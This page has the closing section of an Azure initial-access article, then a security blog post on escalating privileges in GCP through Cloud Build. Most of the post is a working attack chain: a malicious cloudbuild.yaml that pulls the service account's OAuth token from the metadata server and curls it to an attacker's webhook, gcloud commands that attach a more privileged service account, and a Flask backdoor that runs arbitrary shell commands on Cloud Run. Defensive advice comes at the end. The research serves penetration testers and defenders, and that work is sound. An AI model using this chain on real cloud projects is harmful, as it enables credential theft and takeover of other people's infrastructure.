Use conditional access rules to restrict access to trusted networks and devices
Perpetually scan public repositories and forums for exposed credentials and secrets (GitHub and AWS also do a great job with scanning repositories for leaked credentials)
Educate employees on social engineering risks, password hygiene, and the dangers of publicly sharing personal or corporate information

Wrap-up

This article demonstrated some of the most common attack vectors that threat actors use to gain an initial foothold in the Microsoft cloud. Understanding these tactics is crucial for defenders to implement effective security measures, as well as penetration testers and auditors to make sure they leave no stone unturned while evaluating the security posture of their clients.

Bottom Line

Azure initial access requires a multi-vector defense: unauthenticated attackers map tenants through enumeration tools and OSINT, then exploit phishing (illicit consent, device codes, AiTM), vulnerable App Services, exposed blob containers, and weak credentials. Organizations must enforce MFA organization-wide, scan repositories for leaked secrets continuously, audit public-facing applications for OWASP Top 10 vulnerabilities, and train employees on social engineering risks to meaningfully reduce this critical attack surface.

Exploiting GCP Cloud Build for Privilege Escalation

Ayush Singh — Thu, 20 Jun 2024 13:26:50 GMT

In this blog post, we will explore how to exploit Cloud Build to escalate privileges and achieve lateral movement in a GCP cloud environment. Before diving deeper into this topic, let's understand Cloud Build from a broader perspective.

Key Takeaway: GCP Cloud Build's default service account carries the cloudbuild.builds.create permission and broad project-level access, enabling privilege escalation from build pipeline compromise to full project control through service account impersonation, secret extraction, and lateral movement across GCP services.

Intro to Cloud Build 🌀

Cloud Build is a service that executes your builds on Google Cloud. It can import source code from a variety of repositories or cloud storage spaces, execute a build according to your specifications, and produce artifacts such as Docker containers or Java archives.

Let's examine how builds work. The following steps describe, in general, the lifecycle of a Cloud Build build:

Prepare your application code and any needed assets
Create a build config file in YAML or JSON format, which contains instructions for Cloud Build
Submit the build to Cloud Build
Cloud Build executes your build based on the build config you provided
If applicable, any built artifacts are pushed to Artifact Registry

You can learn more about working of Cloud Build from the Google Documentation .

Pre-Exploitation Setup 💻

To perform the attack, we need a service account or user account with write access to a source repository linked to Cloud Build. This scenario assumes we have already commandeered a user or service account with source writer permissions through methods such as:

Harvesting leaked service account key files
Phishing
Exploiting application vulnerabilities
Cloud resource misconfigurations

Exploitation 🐚

A basic high-level overview of this privilege escalation is that we will exploit our own current permission to modify the cloudbuild.yaml file with our own malicious code and then push it into the source repository, which will trigger Cloud Build and execute our malicious code, sending the OAuth token of the attached service account to an attacker-controlled webhook.

Structure of cloudbuild.yaml 📝

The cloudbuild.yaml file serves as a configuration file for defining the build steps and options for Cloud Build in Google Cloud Platform. It consists of several key components:

Steps : Describes the sequence of build actions to be performed, such as running Docker commands or executing scripts.
Name and Args : Specifies the builder image to use for each step and the corresponding arguments to pass to the builder image.
Options : Provides additional build options, such as timeouts or logging settings.

Example:

steps: # Each step represents a build action. - name: 'gcr.io/cloud-builders/docker' args: ['build', '-t', 'gcr.io/PROJECT-ID/Container-Name', '.'] # You can have multiple steps, each performing a different action. - name: 'gcr.io/cloud-builders/docker' args: ['push', 'gcr.io/PROJECT-ID/Container-Name']

options: logging: CLOUD_LOGGING_ONLY

Creating the Malicious cloudbuild.yaml 🧨

Now we understand the structure of the cloudbuild.yaml file, let's create our devious version. This crafted file will retrieve the email and OAuth token of the service account that's linked to the Cloud Build trigger, and then send it to our Discord webhook. You can refer to the official documentation on for creating a Discord webhook.

Example of the malicious cloudbuild.yaml:

steps: - name: 'ubuntu' entrypoint: 'bash' args: - '-c' - | apt-get update && apt-get install -y curl # Retrieve the service account email service_account_email=$(curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email) if [ -z "$service_account_email" ]; then echo "Failed to retrieve service account email." else # Send the service account email to the webhook curl -X POST -H "Content-Type: application/json" -d '{"content":"Service account email: '"$service_account_email"'"}' YOUR_WEB_HOOK_URL_HERE fi - name: 'gcr.io/cloud-builders/docker' args: ['build', '-t', 'gcr.io/PROJECT-ID/IMAGE', '.'] - name: 'gcr.io/cloud-builders/docker' args: ['push', 'gcr.io/PROJECT-ID/IMAGE'] options: logging: CLOUD_LOGGING_ONLY

After checking our webhook, we see that we've extracted the service account email!

Retrieving the OAuth Token 🔑

We can make some changes to our cloudbuild.yaml file to retrieve the OAuth token of the service account.

Example:

steps: - name: 'ubuntu' entrypoint: 'bash' args: - '-c' - | apt-get update && apt-get install -y curl access_token=$(curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token | grep -o '"access_token":"[^"]*' | sed 's/"access_token":"//') if [ -z "$access_token" ]; then echo "Failed to retrieve access token." else curl -X POST -H "Content-Type: application/json" -d '{"content":"Here is the output from the previous command:\n```'"$access_token"'```"}' YOUR_WEB_HOOK_URL fi - name: 'gcr.io/cloud-builders/docker' args: ['build', '-t', 'gcr.io/PROJECT-ID/Image', '.'] - name: 'gcr.io/cloud-builders/docker' args: ['push', 'gcr.io/PROJECT-ID/IMAGE'] options: logging: CLOUD_LOGGING_ONLY

Nice! We successfully stole the OAuth token of the Cloud Build service account.

Leveraging the Cloud Build Service Account 🛠️

If our Cloud Build service account has the cloudbuild.builds.create permission, we can abuse it to create another cloud build trigger and attach a different, more privileged Cloud Build service account.

Example:

gcloud beta builds triggers create cloud-source-repositories \
--name="malicious-trigger" \
--repo="gr-cdesk" \
--branch-pattern="^main$" \
--build-config="cloudbuild.yaml" \
--service-account="more-privileged-sa@gr-proj-2.iam.gserviceaccount.com" \
--project="gr-proj-2"

Note: It's not possible to attach just any service account, i.e. a attempting to attach a service account that doesn't have the Cloud Build service account role will not work.

We can now create another malicious cloudbuild.yaml file and steal the OAuth token of the new more privileges service account.

Further Escalation ⬆️

If the newly acquired service account holds the authority to deploy services in GCP, like Cloud Run or App Engine, we can exploit this privilege to connect any service account in the GCP project to the deployed service. Subsequently, we can implement a backdoor within the service to pilfer its OAuth token.

In our case, the service account ( more-privileged-sa@gr-proj-2.iam.gserviceaccount.com ) has permission to create and deploy Cloud Run. We will now abuse the permission to create Cloud Run with our own backdoored Docker image.

The sample python backdoor below will print the OAuth token of service account attached to Cloud Run.

from flask import Flask, request, Response

import subprocess app = Flask(__name__) # Define basic authentication credentials USERNAME = 'MYUSERNAME' PASSWORD = 'MySUpErSecUreP@sSW0rd' @app.route('/get-access-token', methods=['GET']) def get_access_token(): auth = request.authorization # Check if authorization information is provided if auth is None: return Response('Unauthorized', 401, {'WWW-Authenticate': 'Basic realm="Login Required"'}) # Check if the username and password are correct if not (auth.username == USERNAME and auth.password == PASSWORD): return Response('Unauthorized', 401, {'WWW-Authenticate': 'Basic realm="Login Required"'}) # Get the curl command from the request query parameters curl_command = request.args.get('curl_command') # Execute the command try: result = subprocess.check_output(curl_command, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) return result except subprocess.CalledProcessError as e: return f'Error executing curl command: {e.output}', 400 if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=8080)

Now we can create a Docker container containing our custom backdoored code and push it to Artifact Registry. You can follow the official documentation for guidance on creating and pushing a Docker image to Artifact Registry.

We can create and deploy a Cloud Run instance with our malicious Docker image and attach a service account of our choosing.

gcloud run deploy backdoor-run --image gcr.io/gr-proj-2/mal-docker:latest --service-account=secret-manager-sa@gr-proj-2.iam.gserviceaccount.com --project=gr-proj-2

Now we can try to access our backdoor and get the OAuth token of attached service account!

Using this technique we're be able to steal OAuth token of "any" service account in a GCP project and move laterally and vertically in the environment.

Defense 🛡️

We should always adhere to the principle of least privilege wherever feasible. In this scenario, an attacker with write permissions on a source repository connected to Cloud Build was able to exfiltrate the OAuth token of the associated service account. As defenders, we can disrupt this entire attack chain by implementing manual approval for Cloud Build triggers and ensuring that the service account authorized for manual approval is distinct. It's crucial to use custom-created roles with only necessary permissions to perform the task. In our case, having the permission to create Cloud Build triggers was unnecessary and should be revoked if not needed. Additionally, as defenders, we should implement proper monitoring to detect and respond to malicious activities within GCP.

Reporting the issue ☎️

I reported this to Google and they responded that this is a by-design feature.

Bottom Line

If an attacker gains write access to a source repository connected to GCP Cloud Build, they can modify the cloudbuild.yaml to exfiltrate the build service account's OAuth token via the metadata endpoint. From there, they can chain privileges - creating new triggers with more powerful service accounts, deploying backdoored Cloud Run services, and ultimately stealing tokens for any service account in the project. Google considers this by-design behavior, which makes proactive defense (least privilege, manual build approvals, monitoring) essential. The core lesson: treat CI/CD pipeline access as equivalent to broad cloud infrastructure access.